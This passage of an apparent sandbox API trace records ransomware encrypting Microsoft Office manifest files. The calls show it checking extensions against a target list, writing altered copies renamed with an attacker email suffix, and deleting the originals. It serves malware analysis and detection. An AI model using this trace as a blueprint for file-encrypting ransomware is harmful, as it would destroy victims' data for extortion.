(lpString1=".bz2", lpString2=".xml") returned -1 [0145.826] lstrlenW (lpString=".7z") returned 3 [0145.826] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0145.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0145.826] lstrlenW (lpString=".dbf") returned 4 [0145.826] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0145.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0145.826] lstrlenW (lpString=".1cd") returned 4 [0145.826] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0145.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0145.826] lstrlenW (lpString=".jpg") returned 4 [0145.826] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0145.826] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0145.826] lstrlenW (lpString="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 53 [0145.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0145.827] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=496513) returned 1 [0145.827] CloseHandle (hObject=0x1038) returned 1 [0145.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220 [0145.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0145.827] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.827] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0145.828] GetLastError () returned 0x0 [0145.828] ReadFile (in: hFile=0x1038, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x79381, lpOverlapped=0x0) returned 1 [0145.992] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x79390, lpOverlapped=0x0) returned 1 [0146.000] ReadFile (in: hFile=0x1038, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.000] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x13e, lpOverlapped=0x0) returned 1 [0146.000] SetEndOfFile (hFile=0x103c) returned 1 [0146.000] CloseHandle (hObject=0x103c) returned 1 [0146.009] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.009] SetEndOfFile (hFile=0x1038) returned 1 [0146.013] CloseHandle (hObject=0x1038) returned 1 [0146.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0146.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1 [0146.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0146.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0146.014] lstrlenW (lpString=".doc") returned 4 [0146.014] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.014] lstrlenW (lpString=".docx") returned 5 [0146.014] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.014] lstrlenW (lpString=".pdf") returned 4 [0146.014] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.014] lstrlenW (lpString=".xls") returned 4 [0146.014] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.014] lstrlenW (lpString=".xlsx") returned 5 [0146.014] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.014] lstrlenW (lpString=".ppt") returned 4 [0146.014] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0146.014] lstrlenW (lpString=".zip") returned 4 [0146.014] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.014] lstrlenW (lpString=".rar") returned 4 [0146.014] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.014] lstrlenW (lpString=".bz2") returned 4 [0146.014] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.014] lstrlenW (lpString=".7z") returned 3 [0146.014] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0146.014] lstrlenW (lpString=".dbf") returned 4 [0146.014] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0146.015] lstrlenW (lpString=".1cd") returned 4 [0146.015] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0146.015] lstrlenW (lpString=".jpg") returned 4 [0146.015] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0146.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0146.015] lstrlenW (lpString=".doc") returned 4 [0146.015] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.015] lstrlenW (lpString=".docx") returned 5 [0146.015] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.015] lstrlenW (lpString=".pdf") returned 4 [0146.015] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.015] lstrlenW (lpString=".xls") returned 4 [0146.015] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.015] lstrlenW (lpString=".xlsx") returned 5 [0146.015] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.015] lstrlenW (lpString=".ppt") returned 4 [0146.015] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0146.015] lstrlenW (lpString=".zip") returned 4 [0146.015] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.015] lstrlenW (lpString=".rar") returned 4 [0146.015] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.015] lstrlenW (lpString=".bz2") returned 4 [0146.015] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.015] lstrlenW (lpString=".7z") returned 3 [0146.015] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0146.016] lstrlenW (lpString=".dbf") returned 4 [0146.016] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0146.016] lstrlenW (lpString=".1cd") returned 4 [0146.016] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0146.016] lstrlenW (lpString=".jpg") returned 4 [0146.016] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.016] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0146.016] lstrlenW (lpString="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 53 [0146.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0146.017] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=1261) returned 1 [0146.018] CloseHandle (hObject=0x103c) returned 1 [0146.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220 [0146.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0146.018] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.018] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0146.391] GetLastError () returned 0x0 [0146.391] ReadFile (in: hFile=0x103c, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0146.572] WriteFile (in: hFile=0x10dc, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0146.573] ReadFile (in: hFile=0x103c, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.573] WriteFile (in: hFile=0x10dc, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x13e, lpOverlapped=0x0) returned 1 [0146.574] SetEndOfFile (hFile=0x10dc) returned 1 [0146.574] CloseHandle (hObject=0x10dc) returned 1 [0146.575] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.575] SetEndOfFile (hFile=0x103c) returned 1 [0146.575] CloseHandle (hObject=0x103c) returned 1 [0146.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0146.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1 [0146.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0146.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0146.576] lstrlenW (lpString=".doc") returned 4 [0146.576] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.576] lstrlenW (lpString=".docx") returned 5 [0146.576] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.576] lstrlenW (lpString=".pdf") returned 4 [0146.577] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.577] lstrlenW (lpString=".xls") returned 4 [0146.577] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.577] lstrlenW (lpString=".xlsx") returned 5 [0146.577] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.577] lstrlenW (lpString=".ppt") returned 4 [0146.577] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0146.577] lstrlenW (lpString=".zip") returned 4 [0146.577] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.577] lstrlenW (lpString=".rar") returned 4 [0146.577] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.577] lstrlenW (lpString=".bz2") returned 4 [0146.577] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.577] lstrlenW (lpString=".7z") returned 3 [0146.577] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0146.577] lstrlenW (lpString=".dbf") returned 4 [0146.577] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0146.577] lstrlenW (lpString=".1cd") returned 4 [0146.577] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0146.577] lstrlenW (lpString=".jpg") returned 4 [0146.577] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0146.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0146.577] lstrlenW (lpString=".doc") returned 4 [0146.577] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0146.578] lstrlenW (lpString=".docx") returned 5 [0146.578] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0146.578] lstrlenW (lpString=".pdf") returned 4 [0146.578] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0146.578] lstrlenW (lpString=".xls") returned 4 [0146.578] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0146.578] lstrlenW (lpString=".xlsx") returned 5 [0146.578] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0146.578] lstrlenW (lpString=".ppt") returned 4 [0146.578] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0146.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0146.578] lstrlenW (lpString=".zip") returned 4 [0146.578] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0146.578] lstrlenW (lpString=".rar") returned 4 [0146.578] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0146.578] lstrlenW (lpString=".bz2") returned 4 [0146.578] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0146.578] lstrlenW (lpString=".7z") returned 3 [0146.578] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0146.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0146.578] lstrlenW (lpString=".dbf") returned 4 [0146.578] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0146.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0146.578] lstrlenW (lpString=".1cd") returned 4 [0146.578] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0146.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0146.578] lstrlenW (lpString=".jpg") returned 4 [0146.578] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0146.579] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0146.579] lstrlenW (lpString="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 53 [0146.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0146.605] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=763363) returned 1 [0146.606] CloseHandle (hObject=0x1088) returned 1 [0146.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220 [0146.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0146.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0146.606] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.606] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0146.612] GetLastError () returned 0x0 [0146.612] ReadFile (in: hFile=0x1088, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0xba5e3, lpOverlapped=0x0) returned 1 [0146.716] WriteFile (in: hFile=0x10c8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xba5f0, lpOverlapped=0x0) returned 1 [0146.734] ReadFile (in: hFile=0x1088, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.734] WriteFile (in: hFile=0x10c8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x13e, lpOverlapped=0x0) returned 1 [0146.734] SetEndOfFile (hFile=0x10c8) returned 1 [0146.734] CloseHandle (hObject=0x10c8) returned 1 [0147.613] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.613] SetEndOfFile (hFile=0x1088) returned 1 [0147.620] CloseHandle (hObject=0x1088) returned 1 [0147.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0147.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1 [0147.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0147.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0147.621] lstrlenW (lpString=".doc") returned 4 [0147.621] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.621] lstrlenW (lpString=".docx") returned 5 [0147.621] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.621] lstrlenW (lpString=".pdf") returned 4 [0147.621] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.621] lstrlenW (lpString=".xls") returned 4 [0147.621] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.621] lstrlenW (lpString=".xlsx") returned 5 [0147.621] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.621] lstrlenW (lpString=".ppt") returned 4 [0147.621] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0147.621] lstrlenW (lpString=".zip") returned 4 [0147.621] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.621] lstrlenW (lpString=".rar") returned 4 [0147.621] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.622] lstrlenW (lpString=".bz2") returned 4 [0147.622] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.622] lstrlenW (lpString=".7z") returned 3 [0147.622] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0147.622] lstrlenW (lpString=".dbf") returned 4 [0147.622] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0147.622] lstrlenW (lpString=".1cd") returned 4 [0147.622] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0147.622] lstrlenW (lpString=".jpg") returned 4 [0147.622] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0147.622] 